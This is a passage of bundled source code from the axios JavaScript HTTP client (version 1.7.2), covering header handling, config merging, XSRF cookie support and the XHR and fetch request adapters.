forcedJSONParsing = transitional && transitional.forcedJSONParsing; const JSONRequested = this.responseType === 'json'; if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) { return data; } if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { const silentJSONParsing = transitional && transitional.silentJSONParsing; const strictJSONParsing = !silentJSONParsing && JSONRequested; try { return JSON.parse(data); } catch (e) { if (strictJSONParsing) { if (e.name === 'SyntaxError') { throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response); } throw e; } } } return data; }], /** * A timeout in milliseconds to abort a request. If set to 0 (default) a * timeout is not created. */ timeout: 0, xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', maxContentLength: -1, maxBodyLength: -1, env: { FormData: platform.classes.FormData, Blob: platform.classes.Blob }, validateStatus: function validateStatus(status) { return status >= 200 && status < 300; }, headers: { common: { 'Accept': 'application/json, text/plain, */*', 'Content-Type': undefined } } }; utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => { defaults.headers[method] = {}; }); var defaults$1 = defaults; // RawAxiosHeaders whose duplicates are ignored by node // c.f. https://nodejs.org/api/http.html#http_message_headers const ignoreDuplicateOf = utils$1.toObjectSet([ 'age', 'authorization', 'content-length', 'content-type', 'etag', 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since', 'last-modified', 'location', 'max-forwards', 'proxy-authorization', 'referer', 'retry-after', 'user-agent' ]); /** * Parse headers into an object * * ``` * Date: Wed, 27 Aug 2014 08:58:49 GMT * Content-Type: application/json * Connection: keep-alive * Transfer-Encoding: chunked * ``` * * @param {String} rawHeaders Headers needing to be parsed * * @returns {Object} Headers parsed into an object */ var parseHeaders = rawHeaders => { const parsed = {}; let key; let val; let i; rawHeaders && rawHeaders.split('\n').forEach(function parser(line) { i = line.indexOf(':'); key = line.substring(0, i).trim().toLowerCase(); val = line.substring(i + 1).trim(); if (!key || (parsed[key] && ignoreDuplicateOf[key])) { return; } if (key === 'set-cookie') { if (parsed[key]) { parsed[key].push(val); } else { parsed[key] = [val]; } } else { parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val; } }); return parsed; }; const $internals = Symbol('internals'); function normalizeHeader(header) { return header && String(header).trim().toLowerCase(); } function normalizeValue(value) { if (value === false || value == null) { return value; } return utils$1.isArray(value) ? value.map(normalizeValue) : String(value); } function parseTokens(str) { const tokens = Object.create(null); const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; let match; while ((match = tokensRE.exec(str))) { tokens[match[1]] = match[2]; } return tokens; } const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim()); function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) { if (utils$1.isFunction(filter)) { return filter.call(this, value, header); } if (isHeaderNameFilter) { value = header; } if (!utils$1.isString(value)) return; if (utils$1.isString(filter)) { return value.indexOf(filter) !== -1; } if (utils$1.isRegExp(filter)) { return filter.test(value); } } function formatHeader(header) { return header.trim() .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => { return char.toUpperCase() + str; }); } function buildAccessors(obj, header) { const accessorName = utils$1.toCamelCase(' ' + header); ['get', 'set', 'has'].forEach(methodName => { Object.defineProperty(obj, methodName + accessorName, { value: function(arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); }, configurable: true }); }); } class AxiosHeaders { constructor(headers) { headers && this.set(headers); } set(header, valueOrRewrite, rewrite) { const self = this; function setHeader(_value, _header, _rewrite) { const lHeader = normalizeHeader(_header); if (!lHeader) { throw new Error('header name must be a non-empty string'); } const key = utils$1.findKey(self, lHeader); if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) { self[key || _header] = normalizeValue(_value); } } const setHeaders = (headers, _rewrite) => utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite)); if (utils$1.isPlainObject(header) || header instanceof this.constructor) { setHeaders(header, valueOrRewrite); } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) { setHeaders(parseHeaders(header), valueOrRewrite); } else if (utils$1.isHeaders(header)) { for (const [key, value] of header.entries()) { setHeader(value, key, rewrite); } } else { header != null && setHeader(valueOrRewrite, header, rewrite); } return this; } get(header, parser) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); if (key) { const value = this[key]; if (!parser) { return value; } if (parser === true) { return parseTokens(value); } if (utils$1.isFunction(parser)) { return parser.call(this, value, key); } if (utils$1.isRegExp(parser)) { return parser.exec(value); } throw new TypeError('parser must be boolean|regexp|function'); } } } has(header, matcher) { header = normalizeHeader(header); if (header) { const key = utils$1.findKey(this, header); return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher))); } return false; } delete(header, matcher) { const self = this; let deleted = false; function deleteHeader(_header) { _header = normalizeHeader(_header); if (_header) { const key = utils$1.findKey(self, _header); if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) { delete self[key]; deleted = true; } } } if (utils$1.isArray(header)) { header.forEach(deleteHeader); } else { deleteHeader(header); } return deleted; } clear(matcher) { const keys = Object.keys(this); let i = keys.length; let deleted = false; while (i--) { const key = keys[i]; if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) { delete this[key]; deleted = true; } } return deleted; } normalize(format) { const self = this; const headers = {}; utils$1.forEach(this, (value, header) => { const key = utils$1.findKey(headers, header); if (key) { self[key] = normalizeValue(value); delete self[header]; return; } const normalized = format ? formatHeader(header) : String(header).trim(); if (normalized !== header) { delete self[header]; } self[normalized] = normalizeValue(value); headers[normalized] = true; }); return this; } concat(...targets) { return this.constructor.concat(this, ...targets); } toJSON(asStrings) { const obj = Object.create(null); utils$1.forEach(this, (value, header) => { value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value); }); return obj; } [Symbol.iterator]() { return Object.entries(this.toJSON())[Symbol.iterator](); } toString() { return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n'); } get [Symbol.toStringTag]() { return 'AxiosHeaders'; } static from(thing) { return thing instanceof this ? thing : new this(thing); } static concat(first, ...targets) { const computed = new this(first); targets.forEach((target) => computed.set(target)); return computed; } static accessor(header) { const internals = this[$internals] = (this[$internals] = { accessors: {} }); const accessors = internals.accessors; const prototype = this.prototype; function defineAccessor(_header) { const lHeader = normalizeHeader(_header); if (!accessors[lHeader]) { buildAccessors(prototype, _header); accessors[lHeader] = true; } } utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header); return this; } } AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']); // reserved names hotfix utils$1.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => { let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set` return { get: () => value, set(headerValue) { this[mapped] = headerValue; } } }); utils$1.freezeMethods(AxiosHeaders); var AxiosHeaders$1 = AxiosHeaders; /** * Transform the data for a request or a response * * @param {Array|Function} fns A single function or Array of functions * @param {?Object} response The response object * * @returns {*} The resulting transformed data */ function transformData(fns, response) { const config = this || defaults$1; const context = response || config; const headers = AxiosHeaders$1.from(context.headers); let data = context.data; utils$1.forEach(fns, function transform(fn) { data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); headers.normalize(); return data; } function isCancel(value) { return !!(value && value.__CANCEL__); } /** * A `CanceledError` is an object that is thrown when an operation is canceled. * * @param {string=} message The message. * @param {Object=} config The config. * @param {Object=} request The request. * * @returns {CanceledError} The created error. */ function CanceledError(message, config, request) { // eslint-disable-next-line no-eq-null,eqeqeq AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request); this.name = 'CanceledError'; } utils$1.inherits(CanceledError, AxiosError, { __CANCEL__: true }); /** * Resolve or reject a Promise based on response status. * * @param {Function} resolve A function that resolves the promise. * @param {Function} reject A function that rejects the promise. * @param {object} response The response. * * @returns {object} The response. */ function settle(resolve, reject, response) { const validateStatus = response.config.validateStatus; if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); } else { reject(new AxiosError( 'Request failed with status code ' + response.status, [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], response.config, response.request, response )); } } function parseProtocol(url) { const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url); return match && match[1] || ''; } /** * Calculate data maxRate * @param {Number} [samplesCount= 10] * @param {Number} [min= 1000] * @returns {Function} */ function speedometer(samplesCount, min) { samplesCount = samplesCount || 10; const bytes = new Array(samplesCount); const timestamps = new Array(samplesCount); let head = 0; let tail = 0; let firstSampleTS; min = min !== undefined ? min : 1000; return function push(chunkLength) { const now = Date.now(); const startedAt = timestamps[tail]; if (!firstSampleTS) { firstSampleTS = now; } bytes[head] = chunkLength; timestamps[head] = now; let i = tail; let bytesCount = 0; while (i !== head) { bytesCount += bytes[i++]; i = i % samplesCount; } head = (head + 1) % samplesCount; if (head === tail) { tail = (tail + 1) % samplesCount; } if (now - firstSampleTS < min) { return; } const passed = startedAt && now - startedAt; return passed ? Math.round(bytesCount * 1000 / passed) : undefined; }; } /** * Throttle decorator * @param {Function} fn * @param {Number} freq * @return {Function} */ function throttle(fn, freq) { let timestamp = 0; const threshold = 1000 / freq; let timer = null; return function throttled() { const force = this === true; const now = Date.now(); if (force || now - timestamp > threshold) { if (timer) { clearTimeout(timer); timer = null; } timestamp = now; return fn.apply(null, arguments); } if (!timer) { timer = setTimeout(() => { timer = null; timestamp = Date.now(); return fn.apply(null, arguments); }, threshold - (now - timestamp)); } }; } var progressEventReducer = (listener, isDownloadStream, freq = 3) => { let bytesNotified = 0; const _speedometer = speedometer(50, 250); return throttle(e => { const loaded = e.loaded; const total = e.lengthComputable ? e.total : undefined; const progressBytes = loaded - bytesNotified; const rate = _speedometer(progressBytes); const inRange = loaded <= total; bytesNotified = loaded; const data = { loaded, total, progress: total ? (loaded / total) : undefined, bytes: progressBytes, rate: rate ? rate : undefined, estimated: rate && total && inRange ? (total - loaded) / rate : undefined, event: e, lengthComputable: total != null }; data[isDownloadStream ? 'download' : 'upload'] = true; listener(data); }, freq); }; var isURLSameOrigin = platform.hasStandardBrowserEnv ? // Standard browser envs have full support of the APIs needed to test // whether the request URL is of the same origin as current location. (function standardBrowserEnv() { const msie = /(msie|trident)/i.test(navigator.userAgent); const urlParsingNode = document.createElement('a'); let originURL; /** * Parse a URL to discover its components * * @param {String} url The URL to be parsed * @returns {Object} */ function resolveURL(url) { let href = url; if (msie) { // IE needs attribute set twice to normalize properties urlParsingNode.setAttribute('href', href); href = urlParsingNode.href; } urlParsingNode.setAttribute('href', href); // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils return { href: urlParsingNode.href, protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '', host: urlParsingNode.host, search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '', hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '', hostname: urlParsingNode.hostname, port: urlParsingNode.port, pathname: (urlParsingNode.pathname.charAt(0) === '/') ? urlParsingNode.pathname : '/' + urlParsingNode.pathname }; } originURL = resolveURL(window.location.href); /** * Determine if a URL shares the same origin as the current location * * @param {String} requestURL The URL to test * @returns {boolean} True if URL shares the same origin, otherwise false */ return function isURLSameOrigin(requestURL) { const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL; return (parsed.protocol === originURL.protocol && parsed.host === originURL.host); }; })() : // Non standard browser envs (web workers, react-native) lack needed support. (function nonStandardBrowserEnv() { return function isURLSameOrigin() { return true; }; })(); var cookies = platform.hasStandardBrowserEnv ? // Standard browser envs support document.cookie { write(name, value, expires, path, domain, secure) { const cookie = [name + '=' + encodeURIComponent(value)]; utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString()); utils$1.isString(path) && cookie.push('path=' + path); utils$1.isString(domain) && cookie.push('domain=' + domain); secure === true && cookie.push('secure'); document.cookie = cookie.join('; '); }, read(name) { const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)')); return (match ? decodeURIComponent(match[3]) : null); }, remove(name) { this.write(name, '', Date.now() - 86400000); } } : // Non-standard browser env (web workers, react-native) lack needed support. { write() {}, read() { return null; }, remove() {} }; /** * Determines whether the specified URL is absolute * * @param {string} url The URL to test * * @returns {boolean} True if the specified URL is absolute, otherwise false */ function isAbsoluteURL(url) { // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL). // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed // by any combination of letters, digits, plus, period, or hyphen. return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); } /** * Creates a new URL by combining the specified URLs * * @param {string} baseURL The base URL * @param {string} relativeURL The relative URL * * @returns {string} The combined URL */ function combineURLs(baseURL, relativeURL) { return relativeURL ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '') : baseURL; } /** * Creates a new URL by combining the baseURL with the requestedURL, * only when the requestedURL is not already an absolute URL. * If the requestURL is absolute, this function returns the requestedURL untouched. * * @param {string} baseURL The base URL * @param {string} requestedURL Absolute or relative URL to combine * * @returns {string} The combined full path */ function buildFullPath(baseURL, requestedURL) { if (baseURL && !isAbsoluteURL(requestedURL)) { return combineURLs(baseURL, requestedURL); } return requestedURL; } const headersToObject = (thing) => thing instanceof AxiosHeaders$1 ? { ...thing } : thing; /** * Config-specific merge-function which creates a new config-object * by merging two configuration objects together. * * @param {Object} config1 * @param {Object} config2 * * @returns {Object} New object resulting from merging config2 to config1 */ function mergeConfig(config1, config2) { // eslint-disable-next-line no-param-reassign config2 = config2 || {}; const config = {}; function getMergedValue(target, source, caseless) { if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) { return utils$1.merge.call({caseless}, target, source); } else if (utils$1.isPlainObject(source)) { return utils$1.merge({}, source); } else if (utils$1.isArray(source)) { return source.slice(); } return source; } // eslint-disable-next-line consistent-return function mergeDeepProperties(a, b, caseless) { if (!utils$1.isUndefined(b)) { return getMergedValue(a, b, caseless); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a, caseless); } } // eslint-disable-next-line consistent-return function valueFromConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } } // eslint-disable-next-line consistent-return function defaultToConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a); } } // eslint-disable-next-line consistent-return function mergeDirectKeys(a, b, prop) { if (prop in config2) { return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } const mergeMap = { url: valueFromConfig2, method: valueFromConfig2, data: valueFromConfig2, baseURL: defaultToConfig2, transformRequest: defaultToConfig2, transformResponse: defaultToConfig2, paramsSerializer: defaultToConfig2, timeout: defaultToConfig2, timeoutMessage: defaultToConfig2, withCredentials: defaultToConfig2, withXSRFToken: defaultToConfig2, adapter: defaultToConfig2, responseType: defaultToConfig2, xsrfCookieName: defaultToConfig2, xsrfHeaderName: defaultToConfig2, onUploadProgress: defaultToConfig2, onDownloadProgress: defaultToConfig2, decompress: defaultToConfig2, maxContentLength: defaultToConfig2, maxBodyLength: defaultToConfig2, beforeRedirect: defaultToConfig2, transport: defaultToConfig2, httpAgent: defaultToConfig2, httpsAgent: defaultToConfig2, cancelToken: defaultToConfig2, socketPath: defaultToConfig2, responseEncoding: defaultToConfig2, validateStatus: mergeDirectKeys, headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true) }; utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); return config; } var resolveConfig = (config) => { const newConfig = mergeConfig({}, config); let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig; newConfig.headers = headers = AxiosHeaders$1.from(headers); newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer); // HTTP basic authentication if (auth) { headers.set('Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : '')) ); } let contentType; if (utils$1.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) { headers.setContentType(undefined); // Let the browser set it } else if ((contentType = headers.getContentType()) !== false) { // fix semicolon duplication issue for ReactNative FormData implementation const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : []; headers.setContentType([type || 'multipart/form-data', ...tokens].join('; ')); } } // Add xsrf header // This is only done if running in a standard browser environment. // Specifically not if we're in a web worker, or react-native. if (platform.hasStandardBrowserEnv) { withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // Add xsrf header const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } } return newConfig; }; const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined'; var xhrAdapter = isXHRAdapterSupported && function (config) { return new Promise(function dispatchXhrRequest(resolve, reject) { const _config = resolveConfig(config); let requestData = _config.data; const requestHeaders = AxiosHeaders$1.from(_config.headers).normalize(); let {responseType} = _config; let onCanceled; function done() { if (_config.cancelToken) { _config.cancelToken.unsubscribe(onCanceled); } if (_config.signal) { _config.signal.removeEventListener('abort', onCanceled); } } let request = new XMLHttpRequest(); request.open(_config.method.toUpperCase(), _config.url, true); // Set the request timeout in MS request.timeout = _config.timeout; function onloadend() { if (!request) { return; } // Prepare the response const responseHeaders = AxiosHeaders$1.from( 'getAllResponseHeaders' in request && request.getAllResponseHeaders() ); const responseData = !responseType || responseType === 'text' || responseType === 'json' ? request.responseText : request.response; const response = { data: responseData, status: request.status, statusText: request.statusText, headers: responseHeaders, config, request }; settle(function _resolve(value) { resolve(value); done(); }, function _reject(err) { reject(err); done(); }, response); // Clean up request request = null; } if ('onloadend' in request) { // Use onloadend if available request.onloadend = onloadend; } else { // Listen for ready state to emulate onloadend request.onreadystatechange = function handleLoad() { if (!request || request.readyState !== 4) { return; } // The request errored out and we didn't get a response, this will be // handled by onerror instead // With one exception: request that using file: protocol, most browsers // will return status as 0 even though it's a successful request if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) { return; } // readystate handler is calling before onerror or ontimeout handlers, // so we should call onloadend on the next 'tick' setTimeout(onloadend); }; } // Handle browser request cancellation (as opposed to a manual cancellation) request.onabort = function handleAbort() { if (!request) { return; } reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Handle low level network errors request.onerror = function handleError() { // Real errors are hidden from us by the browser // onerror should only fire if it's a network error reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request)); // Clean up request request = null; }; // Handle timeout request.ontimeout = function handleTimeout() { let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded'; const transitional = _config.transitional || transitionalDefaults; if (_config.timeoutErrorMessage) { timeoutErrorMessage = _config.timeoutErrorMessage; } reject(new AxiosError( timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Remove Content-Type if data is undefined requestData === undefined && requestHeaders.setContentType(null); // Add headers to the request if ('setRequestHeader' in request) { utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) { request.setRequestHeader(key, val); }); } // Add withCredentials to request if needed if (!utils$1.isUndefined(_config.withCredentials)) { request.withCredentials = !!_config.withCredentials; } // Add responseType to request if needed if (responseType && responseType !== 'json') { request.responseType = _config.responseType; } // Handle progress if needed if (typeof _config.onDownloadProgress === 'function') { request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true)); } // Not all browsers support upload events if (typeof _config.onUploadProgress === 'function' && request.upload) { request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress)); } if (_config.cancelToken || _config.signal) { // Handle cancellation // eslint-disable-next-line func-names onCanceled = cancel => { if (!request) { return; } reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel); request.abort(); request = null; }; _config.cancelToken && _config.cancelToken.subscribe(onCanceled); if (_config.signal) { _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled); } } const protocol = parseProtocol(_config.url); if (protocol && platform.protocols.indexOf(protocol) === -1) { reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config)); return; } // Send the request request.send(requestData || null); }); }; const composeSignals = (signals, timeout) => { let controller = new AbortController(); let aborted; const onabort = function (cancel) { if (!aborted) { aborted = true; unsubscribe(); const err = cancel instanceof Error ? cancel : this.reason; controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err)); } }; let timer = timeout && setTimeout(() => { onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT)); }, timeout); const unsubscribe = () => { if (signals) { timer && clearTimeout(timer); timer = null; signals.forEach(signal => { signal && (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort)); }); signals = null; } }; signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort)); const {signal} = controller; signal.unsubscribe = unsubscribe; return [signal, () => { timer && clearTimeout(timer); timer = null; }]; }; var composeSignals$1 = composeSignals; const streamChunk = function* (chunk, chunkSize) { let len = chunk.byteLength; if (!chunkSize || len < chunkSize) { yield chunk; return; } let pos = 0; let end; while (pos < len) { end = pos + chunkSize; yield chunk.slice(pos, end); pos = end; } }; const readBytes = async function* (iterable, chunkSize, encode) { for await (const chunk of iterable) { yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize); } }; const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => { const iterator = readBytes(stream, chunkSize, encode); let bytes = 0; return new ReadableStream({ type: 'bytes', async pull(controller) { const {done, value} = await iterator.next(); if (done) { controller.close(); onFinish(); return; } let len = value.byteLength; onProgress && onProgress(bytes += len); controller.enqueue(new Uint8Array(value)); }, cancel(reason) { onFinish(reason); return iterator.return(); } }, { highWaterMark: 2 }) }; const fetchProgressDecorator = (total, fn) => { const lengthComputable = total != null; return (loaded) => setTimeout(() => fn({ lengthComputable, total, loaded })); }; const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function'; const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function'; // used only inside the fetch adapter const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ? ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) : async (str) => new Uint8Array(await new Response(str).arrayBuffer()) ); const supportsRequestStream = isReadableStreamSupported && (() => { let duplexAccessed = false; const hasContentType = new Request(platform.origin, { body: new ReadableStream(), method: 'POST', get duplex() { duplexAccessed = true; return 'half'; }, }).headers.has('Content-Type'); return duplexAccessed && !hasContentType; })(); const DEFAULT_CHUNK_SIZE = 64 * 1024; const supportsResponseStream = isReadableStreamSupported && !!(()=> { try { return utils$1.isReadableStream(new Response('').body); } catch(err) { // return undefined } })(); const resolvers = { stream: supportsResponseStream && ((res) => res.body) }; isFetchSupported && (((res) => { ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => { !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() : (_, config) => { throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config); }); }); })(new Response)); const getBodyLength = async (body) => { if (body == null) { return 0; } if(utils$1.isBlob(body)) { return body.size; } if(utils$1.isSpecCompliantForm(body)) { return (await new Request(body).arrayBuffer()).byteLength; } if(utils$1.isArrayBufferView(body)) { return body.byteLength; } if(utils$1.isURLSearchParams(body)) { body = body + ''; } if(utils$1.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils$1.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; var fetchAdapter = isFetchSupported && (async (config) => { let { url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, withCredentials = 'same-origin', fetchOptions } = resolveConfig(config); responseType = responseType ? (responseType + '').toLowerCase() : 'text'; let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ? composeSignals$1([signal, cancelToken], timeout) : []; let finished, request; const onFinish = () => { !finished && setTimeout(() => { composedSignal && composedSignal.unsubscribe(); }); finished = true; }; let requestContentLength; try { if ( onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' && (requestContentLength = await resolveBodyLength(headers, data)) !== 0 ) { let _request = new Request(url, { method: 'POST', body: data, duplex: "half" }); let contentTypeHeader; if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) { headers.setContentType(contentTypeHeader); } if (_request.body) { data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator( requestContentLength, progressEventReducer(onUploadProgress) ), null, encodeText); } } if (!utils$1.isString(withCredentials)) { withCredentials = withCredentials ? 'cors' : 'omit'; } request = new Request(url, { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: headers.normalize().toJSON(), body: data, duplex: "half", withCredentials }); let response = await fetch(request); const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response'); if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) { const options = {}; ['status', 'statusText', 'headers'].forEach(prop => { options[prop] = response[prop]; }); const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length')); response = new Response( trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator( responseContentLength, progressEventReducer(onDownloadProgress, true) ), isStreamResponse && onFinish, encodeText), options ); } responseType = responseType || 'text'; let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config); !isStreamResponse && onFinish(); stopTimeout && stopTimeout(); return await new Promise((resolve, reject) => { settle(resolve, reject, { data: responseData, headers: AxiosHeaders$1.from(response.headers), status: response.status, statusText: response.statusText, config, request }); }) } catch (err) { onFinish(); if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) { throw Object.assign( new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request), { cause: err.cause || err } ) } throw AxiosError.from(err, err && err.code, config, request); } }); const knownAdapters = { http: httpAdapter, xhr: xhrAdapter, fetch: fetchAdapter }; utils$1.forEach(knownAdapters, (fn, value) => { if (fn) { try { Object.defineProperty(fn, 'name', {value}); } catch (e) { // eslint-disable-next-line no-empty } Object.defineProperty(fn, 'adapterName', {value}); } }); const renderReason = (reason) => `- ${reason}`; const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false; var adapters = { getAdapter: (adapters) => { adapters = utils$1.isArray(adapters) ? adapters : [adapters]; const {length} = adapters; let nameOrAdapter; let adapter; const rejectedReasons = {}; for (let i = 0; i < length; i++) { nameOrAdapter = adapters[i]; let id; adapter = nameOrAdapter; if (!isResolvedHandle(nameOrAdapter)) { adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()]; if (adapter === undefined) { throw new AxiosError(`Unknown adapter '${id}'`); } } if (adapter) { break; } rejectedReasons[id || '#' + i] = adapter; } if (!adapter) { const reasons = Object.entries(rejectedReasons) .map(([id, state]) => `adapter ${id} ` + (state === false ? 'is not supported by the environment' : 'is not available in the build') ); let s = length ? (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) : 'as no adapter specified'; throw new AxiosError( `There is no suitable adapter to dispatch the request ` + s, 'ERR_NOT_SUPPORT' ); } return adapter; }, adapters: knownAdapters }; /** * Throws a `CanceledError` if cancellation has been requested. * * @param {Object} config The config that is to be used for the request * * @returns {void} */ function throwIfCancellationRequested(config) { if (config.cancelToken) { config.cancelToken.throwIfRequested(); } if (config.signal && config.signal.aborted) { throw new CanceledError(null, config); } } /** * Dispatch a request to the server using the configured adapter. * * @param {object} config The config that is to be used for the request * * @returns {Promise} The Promise to be fulfilled */ function dispatchRequest(config) { throwIfCancellationRequested(config); config.headers = AxiosHeaders$1.from(config.headers); // Transform request data config.data = transformData.call( config, config.transformRequest ); if (['post', 'put', 'patch'].indexOf(config.method) !== -1) { config.headers.setContentType('application/x-www-form-urlencoded', false); } const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter); return adapter(config).then(function onAdapterResolution(response) { throwIfCancellationRequested(config); // Transform response data response.data = transformData.call( config, config.transformResponse, response ); response.headers = AxiosHeaders$1.from(response.headers); return response; }, function onAdapterRejection(reason) { if (!isCancel(reason)) { throwIfCancellationRequested(config); // Transform response data if (reason && reason.response) { reason.response.data = transformData.call( config, config.transformResponse, reason.response ); reason.response.headers = AxiosHeaders$1.from(reason.response.headers); } } return Promise.reject(reason); }); } const VERSION = "1.7.2"; const validators$1 = {}; // eslint-disable-next-line func-names ['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => { validators$1[type] = function validator(thing) { return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type; }; }); const deprecatedWarnings = {}; /** * Transitional option validator * * @param {function|boolean?} validator - set to false if the transitional option has been removed * @param {string?} version - deprecated version / removed since version * @param {string?} message - some message with additional info * * 